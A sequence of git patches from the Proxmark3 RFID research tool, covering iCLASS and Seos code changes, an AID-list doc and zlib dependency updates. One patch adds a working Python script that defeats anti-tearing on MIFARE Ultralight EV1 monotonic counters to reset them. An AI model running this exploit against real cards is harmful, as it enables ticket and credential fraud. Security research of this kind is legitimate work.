(found_aa1 == false) { - res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false); + res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, " AA1 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); found_aa1 = true; + aa1_idx = i; } } - res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, " AA2 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); found_aa2 = true; From d0d7a047eb905900575d2c58418846da5450369d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Mar 2026 11:43:18 +0700 Subject: [PATCH 144/162] use a define for iclass key size, even if it is same a block size. --- include/iclass_cmd.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index f3573b81f..cdda920f5 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -24,6 +24,7 @@ //----------------------------------------------------------------------------- // iCLASS / PICOPASS //----------------------------------------------------------------------------- +#define PICOPASS_KEY_SIZE ( 8 ) #define PICOPASS_BLOCK_SIZE ( 8 ) #define PICOPASS_MAX_BYTES ( 4096 ) // # 32k bits = 4096 bytes From ea3d6ea39e1e950b7b9232e7b75d26607fca22dd Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Mon, 23 Mar 2026 20:24:20 +0200 Subject: [PATCH 145/162] Remove unused code; add comment names to AID values --- client/src/cmdhfseos.c | 8 ++------ client/src/cmdhfseos.h | 1 - 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index d5f1bf8ef..1d54a7c16 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -101,8 +101,8 @@ static const known_algo_t known_algorithm_map[] = { }; static const char *known_seos_aids[] = { - "A0000004400001010001", - "A000000382002D000101", + "A0000004400001010001", // STANDARD_SEOS + "A000000382002D000101", // MOBILE_SEOS_ADMIN_CARD }; static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *aid, int *aid_len) { @@ -1594,10 +1594,6 @@ static int seos_load_keys(char *filename) { return PM3_SUCCESS; } -int infoSeos(bool verbose) { - return seos_select(NULL, 0); -} - static int CmdHfSeosInfo(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf seos info", diff --git a/client/src/cmdhfseos.h b/client/src/cmdhfseos.h index abc7f7239..fd31008d9 100644 --- a/client/src/cmdhfseos.h +++ b/client/src/cmdhfseos.h @@ -22,7 +22,6 @@ #include "common.h" #include "seos_cmd.h" -int infoSeos(bool verbose); int CmdHFSeos(const char *Cmd); int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot, uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm); From d6331664aae4e1e83d2fdfdecc6c94c07430828c Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Mon, 23 Mar 2026 20:51:49 +0200 Subject: [PATCH 146/162] Add a simple doc for 'aidlist.json' --- doc/aidlist.md | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 doc/aidlist.md diff --git a/doc/aidlist.md b/doc/aidlist.md new file mode 100644 index 000000000..00dec60ca --- /dev/null +++ b/doc/aidlist.md @@ -0,0 +1,28 @@ +# AID list (`aidlist.json`) + + +This file acts as a database of ISO/IEC 7816 application identifiers (AIDs) and their human-readable metadata. + +It is used by commands that try known app selections and then print decoded information (for example `hf 14a info --aidsearch`, `hf 14b info --aidsearch`, etc.). + +## Format +Each entry in `client/resources/aidlist.json` must contain all of the fields below (use an empty string if data is unknown): + +- `AID`: Application Identifier as a hex string, no spaces or separators, representing raw bytes in ISO7816 select order (big-endian byte order as transmitted in APDU data). +- `Vendor`: Organization, scheme, ecosystem owner, or issuer most directly associated with this AID. Specify multiple issuers with a comma or semicolon separator. +- `Country`: Primary country associated with the vendor or deployment context. Leave empty when unknown or globally used. +- `Name`: Short user-facing application name. +- `Description`: Extra context, disambiguation, references, legacy naming, known usage notes, or deployment-specific remarks. +- `Type`: High-level category tag (for example `transport`, `emv`, `gp`, `pacs`, `ndef`). + +Example: +```json +{ + "AID": "A00000039656434103F1216000000000", + "Vendor": "LV Monorail", + "Country": "United States", + "Name": "Las Vegas Monorail", + "Description": "Used on Las Vegas Monorail during Google Wallet Mifare 2GO demo period", + "Type": "transport" +} +``` From 2ca4e91548cab67f975cafa488d8a2b97c73bc1e Mon Sep 17 00:00:00 2001 From: W0rthlessS0ul Date: Mon, 23 Mar 2026 22:09:14 +0300 Subject: [PATCH 147/162] Added script mfuev1_counter_reset.py This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value --- client/pyscripts/mfuev1_counter_reset.py | 224 +++++++++++++++++++++++ 1 file changed, 224 insertions(+) create mode 100644 client/pyscripts/mfuev1_counter_reset.py diff --git a/client/pyscripts/mfuev1_counter_reset.py b/client/pyscripts/mfuev1_counter_reset.py new file mode 100644 index 000000000..e4d987c1c --- /dev/null +++ b/client/pyscripts/mfuev1_counter_reset.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 + +#----------------------------------------------------------------------------- +# Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# See LICENSE.txt for the text of the license. +#----------------------------------------------------------------------------- +# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value +# Script version: 1.0.0 +# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul) +# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html +#----------------------------------------------------------------------------- + +import argparse +import sys +import os +import pm3 + +try: + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + _ = fg + return str(s) + +p = pm3.pm3() + +ProgramName = os.path.basename(sys.argv[0]) +attempt = 0 +byte = 1 + +parser = argparse.ArgumentParser( + formatter_class=argparse.RawTextHelpFormatter, + prog=color(f"\n script run {ProgramName}", "red"), + epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow") + ) +parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index') +parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps') +parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking') +parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)') +parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)') + +if '-h' in sys.argv or '--help' in sys.argv: + help_text = parser.format_help() + help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:") + help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green")) + print(help_text) + sys.exit(0) + +args = parser.parse_args() + +counter_number = args.cnt + +def read_counter(counter_numb): + p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True) + counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower() + counter_bytes = bytes.fromhex(counter) + counter_int = int.from_bytes(counter_bytes, byteorder='little') + return counter, counter_int + +def enable_tearoff(delay): + p.console(f"hw tearoff --delay {delay}") + p.console("hw tearoff --on", capture=True) + if str(p.grabbed_output).find("enabled") >= 0: + return True + return False + +def incr_cnt(counter_numb, StrBytes): + p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00") + p.grabbed_output + +def check_tearing_event(counter_numb): + p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True) + tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0] + if tearing == "BD": + return True, tearing + return False, tearing + +def some_tests(counter_numb): + try: + p.console(f"hf 14a raw -s -c 60", capture=True) + info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ") + if info[4] != "01": + print(f"[{color('!', 'red')}] Support only EV1 versions") + return False + except: + print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards") + return False + + tearing = check_tearing_event(counter_number)[1] + if tearing != "00" and tearing != "BD": + print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT") + return False + + counter_str, counter = read_counter(counter_number) + if counter == 16777215: + print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset") + return False + elif counter == 0: + print(f"[{color('!', 'red')}] The counter value is already at the minimum level") + return False + + if counter_str[:4] == "0000": + print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip") + byte = 3 + elif counter_str[:2] == "00": + print(f"\n[{color('+', 'green')}] First byte set to 00, skip") + byte = 2 + + return True + +if __name__ == "__main__": + if not args.force and not some_tests(counter_number): + print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="") + sys.exit(0) + + if args.DelayBD == None: + for Delay_BD in range(1000, 5000, args.inc): + initial_counter_str, initial_counter_int = read_counter(counter_number) + enable_tearoff(Delay_BD) + incr_cnt(counter_number, "010000") + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + final_counter_str, final_counter_int = read_counter(counter_number) + print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) + if final_counter_int > initial_counter_int and check_tearing: + print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") + break + else: + Delay_BD = args.DelayBD + print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") + if args.Delay00 == None: + for Delay_00 in range(100, 1000, args.inc): + initial_counter_str, initial_counter_int = read_counter(counter_number) + enable_tearoff(Delay_00) + incr_cnt(counter_number, "000000") + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + final_counter_str, final_counter_int = read_counter(counter_number) + print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) + if not check_tearing: + print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") + incr_cnt(counter_number, "000000") + break + else: + Delay_00 = args.Delay00 + print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") + + constant_counter_int = read_counter(counter_number)[1] + while True: + initial_counter_str, initial_counter_int = read_counter(counter_number) + + enable_tearoff(Delay_BD) + match byte: + case 1: + incr_cnt(counter_number, "010000") + case 2: + incr_cnt(counter_number, "000100") + case 3: + incr_cnt(counter_number, "000001") + enable_tearoff(Delay_00) + incr_cnt(counter_number, "000000") + + final_counter_str, final_counter_int = read_counter(counter_number) + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + + attempt+=1 + print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True) + + if attempt % 20 == 0 and constant_counter_int == final_counter_int: + Delay_BD+=5 + constant_counter_int = final_counter_int + print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}") + elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10: + Delay_BD-=5 + constant_counter_int = final_counter_int + print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}") + + if attempt % 5 == 0 and check_tearing: + Delay_00+=5 + print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}") + + if attempt % 20 == 0: constant_counter_int = final_counter_int + + if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1: + if final_counter_str[-4:] == "0000": + print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") + byte = 4 + elif final_counter_str[-4:][:2] == "00": + print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00") + byte = 3 + else: + print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00") + byte = 2 + elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2: + if final_counter_str[-2:] == "00": + print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") + byte = 4 + else: + print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00") + byte = 3 + elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3: + print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00") + byte = 4 + + if byte == 4: + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + if not check_tearing: + print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B") + while not check_tearing: + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + incr_cnt(counter_number, "000000") + print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}") + + print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="") + sys.exit(0) \ No newline at end of file From b7aefdc2bcdd4d40c8d1a798f3f60b9cf519922f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 23 Mar 2026 22:36:39 +0100 Subject: [PATCH 148/162] complete zlib reqs in docs & docker --- .../Linux-Installation-Instructions.md | 22 +++++++++++++++---- .../Windows-Installation-Instructions.md | 4 +++- .../Windows-WSL2-Installation-Instructions.md | 4 +++- docker/archlinux/Dockerfile | 2 +- docker/debian-13-trixie-arm64/Dockerfile | 2 +- docker/debian-13-trixie-armhf/Dockerfile | 2 +- docker/debian-13-trixie/Dockerfile | 2 +- docker/debian-14-forky/Dockerfile | 2 +- docker/fedora-41/Dockerfile | 2 +- docker/fedora-42/Dockerfile | 2 +- docker/fedora-43/Dockerfile | 2 +- docker/homebrew/Dockerfile | 2 +- docker/kali/Dockerfile | 2 +- docker/opensuse-leap/Dockerfile | 2 +- docker/opensuse-tumbleweed/Dockerfile | 2 +- docker/parrot-core-latest/Dockerfile | 2 +- docker/ubuntu-22.04/Dockerfile | 2 +- docker/ubuntu-24.04/Dockerfile | 2 +- docker/ubuntu-25.04/Dockerfile | 2 +- docker/ubuntu-25.10/Dockerfile | 2 +- tools/shell.nix | 1 + 21 files changed, 42 insertions(+), 23 deletions(-) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 2f1a198ca..da18653ef 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -17,6 +17,8 @@ - [On openSUSE Leap 15.6](#on-opensuse-leap-156) - [On openSUSE Tumbleweed](#on-opensuse-tumbleweed) - [If you don't need...](#if-you-dont-need-3) + - [On NixOS](#on-nixos) + - [If you don't need...](#if-you-dont-need-4) - [Clone the repository](#clone-the-repository) - [Check ModemManager](#check-modemmanager) - [⚠️ Very important ⚠️](#️-very-important-️) @@ -88,7 +90,7 @@ you may have to install `libcanberra-gtk-module`. ^[Top](#top) ```sh -sudo pacman -Syu git base-devel readline bzip2 lz4 arm-none-eabi-gcc \ +sudo pacman -Syu git base-devel readline bzip2 lz4 zlib arm-none-eabi-gcc \ arm-none-eabi-newlib qt6-base bluez python gd --needed ``` @@ -102,6 +104,9 @@ you can skip the installation of `qt6-base`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd`. @@ -111,7 +116,7 @@ you can skip the installation of `gd`. ```sh sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib \ -readline-devel bzip2-devel lz4-devel qt6-qtbase-devel bluez-libs-devel \ +readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel qt6-qtbase-devel bluez-libs-devel \ python3-devel libatomic openssl-devel gd-devel ``` @@ -125,6 +130,9 @@ you can skip the installation of `qt6-qtbase-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib-ng-compat-devel`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd-devel`. @@ -134,7 +142,7 @@ you can skip the installation of `gd-devel`. ```sh sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \ -readline-devel libbz2-devel liblz4-devel \ +readline-devel libbz2-devel liblz4-devel zlib-devel \ python3-devel libqt5-qtbase-devel libopenssl-devel gd-devel sudo zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ sudo zypper --gpg-auto-import-keys refresh && \ @@ -161,7 +169,7 @@ sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++-15 100 ```sh sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \ -readline-devel libbz2-devel liblz4-devel bluez-devel \ +readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel \ python3-devel qt6-core-devel qt6-widgets-devel libopenssl-devel gd-devel \ cross-arm-none-gcc12 cross-arm-none-newlib-devel ``` @@ -173,6 +181,9 @@ you can skip the installation of `qt6-core-devel qt6-widgets-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib-devel`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `gd-devel`. @@ -196,6 +207,9 @@ you can comment out `qt6Packages.qtbase` and `qt6Packages.wrapQtAppsHook` in sh 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can comment out `python3` in shell.nix. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can comment out `zlib` in shell.nix. + 👉 If you don't need support for NFC ePaper devices, you can comment out `gd` in shell.nix. diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index ca262a8eb..f50db31fb 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -170,13 +170,15 @@ Install dependencies: ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ -libbz2-dev liblz4-dev libpython3-dev libssl-dev libgd-dev +libbz2-dev liblz4-dev zlib1g-dev libpython3-dev libssl-dev libgd-dev ``` > [!NOTE] > * If you don't need the graphical components of the > Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. +> * If you don't need support for decompressing compressed Google Smart Tap payloads +> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`. > * If you don't need support for NFC ePaper devices in the > PM3 device, you can skip the installation of `libgd-dev`. diff --git a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md index c6be50c10..7a4b1dc10 100644 --- a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md @@ -196,7 +196,7 @@ For example, on Ubuntu 24.04 or later: sudo apt-get install --no-install-recommends \ git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev \ - libbz2-dev liblz4-dev libpython3-dev qtbase6-dev \ + libbz2-dev liblz4-dev zlib1g-dev libpython3-dev qtbase6-dev \ libssl-dev libgd-dev ``` @@ -205,6 +205,8 @@ sudo apt-get install --no-install-recommends \ > Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. +> * If you don't need support for decompressing compressed Google Smart Tap payloads +> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`. > * If you don't need support for NFC ePaper devices in the > PM3 device, you can skip the installation of `libgd-dev`. diff --git a/docker/archlinux/Dockerfile b/docker/archlinux/Dockerfile index e047b3cc8..027a34e9a 100644 --- a/docker/archlinux/Dockerfile +++ b/docker/archlinux/Dockerfile @@ -5,7 +5,7 @@ RUN pacman -Syu --noconfirm RUN pacman-db-upgrade # bluez skipped, can't be installed in docker -RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 gd arm-none-eabi-gcc arm-none-eabi-newlib --needed +RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 zlib gd arm-none-eabi-gcc arm-none-eabi-newlib --needed # OpenCL for hitag2crack RUN pacman -S --noconfirm ocl-icd diff --git a/docker/debian-13-trixie-arm64/Dockerfile b/docker/debian-13-trixie-arm64/Dockerfile index 7e88a860b..ff95f12b4 100644 --- a/docker/debian-13-trixie-arm64/Dockerfile +++ b/docker/debian-13-trixie-arm64/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-13-trixie-armhf/Dockerfile b/docker/debian-13-trixie-armhf/Dockerfile index e4725ca9f..71d9531a9 100644 --- a/docker/debian-13-trixie-armhf/Dockerfile +++ b/docker/debian-13-trixie-armhf/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-13-trixie/Dockerfile b/docker/debian-13-trixie/Dockerfile index 1bb7733d0..118cadaa9 100644 --- a/docker/debian-13-trixie/Dockerfile +++ b/docker/debian-13-trixie/Dockerfile @@ -5,7 +5,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/debian-14-forky/Dockerfile b/docker/debian-14-forky/Dockerfile index 074f95876..1b75e2063 100644 --- a/docker/debian-14-forky/Dockerfile +++ b/docker/debian-14-forky/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/fedora-41/Dockerfile b/docker/fedora-41/Dockerfile index 73c5d346d..0c443e83d 100644 --- a/docker/fedora-41/Dockerfile +++ b/docker/fedora-41/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:41 ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/fedora-42/Dockerfile b/docker/fedora-42/Dockerfile index 75060263a..2f01ea035 100644 --- a/docker/fedora-42/Dockerfile +++ b/docker/fedora-42/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:42 ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/fedora-43/Dockerfile b/docker/fedora-43/Dockerfile index cd5710a9d..c2ddfab62 100644 --- a/docker/fedora-43/Dockerfile +++ b/docker/fedora-43/Dockerfile @@ -2,7 +2,7 @@ FROM fedora:rawhide ENV LANG=C.UTF-8 -RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils +RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils RUN yum -y update diff --git a/docker/homebrew/Dockerfile b/docker/homebrew/Dockerfile index d11abd604..05ec8cdab 100644 --- a/docker/homebrew/Dockerfile +++ b/docker/homebrew/Dockerfile @@ -11,6 +11,6 @@ RUN if [ -n "${UART_GID}" ]; then \ USER linuxbrew WORKDIR "/home/linuxbrew" -RUN brew install cmake pkg-config bzip2 lz4 && rm -rf ~/.cache/Homebrew +RUN brew install cmake pkg-config bzip2 lz4 zlib && rm -rf ~/.cache/Homebrew CMD ["/bin/bash"] diff --git a/docker/kali/Dockerfile b/docker/kali/Dockerfile index 91dad2468..cda92382a 100644 --- a/docker/kali/Dockerfile +++ b/docker/kali/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev 